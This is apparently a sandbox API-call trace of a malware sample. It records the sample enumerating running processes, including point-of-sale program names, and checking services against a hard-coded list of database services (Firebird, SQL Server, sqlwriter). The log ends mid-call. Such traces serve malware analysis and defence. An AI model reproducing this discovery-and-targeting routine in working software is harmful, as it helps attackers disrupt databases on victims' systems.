[0165.997] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0165.997] lstrlenW (lpString="isspos.exe") returned 10 [0165.997] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0165.998] lstrlenW (lpString="mxslipstream.exe") returned 16 [0165.998] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0165.999] lstrlenW (lpString="omnipos.exe") returned 11 [0165.999] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0165.999] lstrlenW (lpString="spcwin.exe") returned 10 [0165.999] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0166.000] lstrlenW (lpString="spgagentservice.exe") returned 19 [0166.000] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0166.000] lstrlenW (lpString="utg2.exe") returned 8 [0166.001] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0166.001] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0166.001] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.002] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.002] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.002] lstrlenW (lpString="svchost.exe") returned 11 [0166.002] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.003] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.003] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0166.003] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0166.003] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.004] lstrlenW (lpString="conhost.exe") returned 11 [0166.004] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0166.004] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0166.004] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.005] lstrlenW (lpString="conhost.exe") returned 11 [0166.005] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0166.006] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0166.006] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0166.006] lstrlenW (lpString="powershell.exe") returned 14 [0166.006] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.007] lstrlenW (lpString="conhost.exe") returned 11 [0166.007] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0166.007] lstrlenW (lpString="TiWorker.exe") returned 12 [0166.007] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0166.008] lstrlenW (lpString="sppsvc.exe") returned 10 [0166.008] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0166.008] lstrlenW (lpString="powershell.exe") returned 14 [0166.008] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.009] lstrlenW (lpString="conhost.exe") returned 11 [0166.009] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.009] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.009] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0166.010] lstrlenW (lpString="NS2.exe") returned 7 [0166.010] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.010] lstrlenW (lpString="conhost.exe") returned 11 [0166.010] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.011] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.011] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.011] lstrlenW (lpString="dllhost.exe") returned 11 [0166.011] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=24, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0166.012] lstrlenW (lpString="winhost.exe") returned 11 [0166.012] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0166.012] lstrlenW (lpString="cmd.exe") returned 7 [0166.012] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.013] lstrlenW (lpString="conhost.exe") returned 11 [0166.013] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0166.016] lstrlenW (lpString="mode.com") returned 8 [0166.016] Process32NextW (in: hSnapshot=0x354, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0166.017] CloseHandle (hObject=0x354) returned 1 [0166.017] Sleep (dwMilliseconds=0x1f4) [0166.540] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eee28 [0166.540] EnumServicesStatusExW (in: hSCManager=0x6eee28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0166.541] GetLastError () returned 0xea [0166.541] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d19a0 [0166.541] EnumServicesStatusExW (in: hSCManager=0x6eee28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d19a0, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d19a0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0166.544] CloseServiceHandle (hSCObject=0x6eee28) returned 1 [0166.544] lstrlenW (lpString="Appinfo") returned 7 [0166.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0166.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0166.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0166.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0166.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0166.544] lstrlenW (lpString="AppXSvc") returned 7 [0166.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0166.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0166.544] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0166.544] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0166.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0166.544] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.544] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.544] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.544] lstrlenW (lpString="Audiosrv") returned 8 [0166.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0166.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0166.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0166.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0166.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0166.545] lstrlenW (lpString="BFE") returned 3 [0166.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.545] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.545] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.545] lstrlenW (lpString="BITS") returned 4 [0166.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0166.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0166.545] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0166.545] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0166.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0166.545] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0166.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0166.545] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0166.545] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0166.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0166.545] lstrlenW (lpString="CDPSvc") returned 6 [0166.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0166.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0166.545] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0166.545] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0166.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0166.545] lstrlenW (lpString="ClipSVC") returned 7 [0166.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0166.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0166.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0166.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0166.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0166.545] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0166.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0166.545] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0166.545] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0166.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0166.545] lstrlenW (lpString="CryptSvc") returned 8 [0166.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.545] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.545] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.546] lstrlenW (lpString="DcomLaunch") returned 10 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.546] lstrlenW (lpString="Dhcp") returned 4 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.546] lstrlenW (lpString="Dnscache") returned 8 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.546] lstrlenW (lpString="DoSvc") returned 5 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0166.546] lstrlenW (lpString="DPS") returned 3 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.546] lstrlenW (lpString="DusmSvc") returned 7 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0166.546] lstrlenW (lpString="EventLog") returned 8 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0166.546] lstrlenW (lpString="EventSystem") returned 11 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.546] lstrlenW (lpString="gpsvc") returned 5 [0166.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.546] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.546] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.547] lstrlenW (lpString="iphlpsvc") returned 8 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.547] lstrlenW (lpString="KeyIso") returned 6 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0166.547] lstrlenW (lpString="LanmanServer") returned 12 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.547] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.547] lstrlenW (lpString="lfsvc") returned 5 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0166.547] lstrlenW (lpString="LicenseManager") returned 14 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0166.547] lstrlenW (lpString="lmhosts") returned 7 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.547] lstrlenW (lpString="LSM") returned 3 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0166.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0166.547] lstrlenW (lpString="MpsSvc") returned 6 [0166.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.547] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.547] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.548] lstrcmpiW 